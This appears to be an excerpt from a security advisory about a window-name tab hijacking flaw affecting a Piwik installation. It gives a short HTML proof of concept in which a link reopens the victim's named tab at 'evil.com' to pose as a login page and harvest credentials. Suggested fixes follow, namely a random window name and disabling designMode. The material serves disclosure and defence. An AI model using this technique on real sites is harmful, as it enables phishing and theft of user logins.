Proof of Concept:
--------------------
<a
  target="public_handle"
  href="http://www.example.org">
    Example.org
</a>
<a
  href="#"
  onclick="window.open('//evil.com', 'public_handle'); return false;">
    Example.org
<a/>

By clicking on the first link (which is on attackers.org), there will 
be opened a window/tab with the name "public_handle" and the address
"example.org". Thus, there are for examples two tabs: One from the
attacker where the above code is (attackers.org), the other with the
Piwik installation (example.org). After clicking on the "example.org"
tab, the user will click on the tab of the attacker - for e.g. social
engineering reasons. By clicking on the second link, there will be
opened "evil.com" on the tab with the name "public_handle"; therefore,
the tab with "example.org" will change the address to "evil.com". The
user is looking on this tab now (with the name "public_handle") and
thinks: "Hey, I'm logged out. I will type in my username and
password." - but this is actually the web page of the attacker.

You can use such a line of JavaScript code to fix this issue:
<script type="text/javascript">>window.name="%TOKEN%";</script>

%TOKEN% should be a server-side randomly generated string. By using
this, an attacker cannot guess the name of the window. Furthermore, a
by the attacker specified name will be overwritten.

[...]

Beside that there is another thing that you can implement:
<script type="text/javascript">document.designMode='off';</script>

You can find more information about it in my paper
(http://ui-redressing.mniemietz.de/uiRedressing.pdf) on the pages 33
and 34. It can be used to deactivate (no frame buster will work) and
(not documented) inject JavaScript code.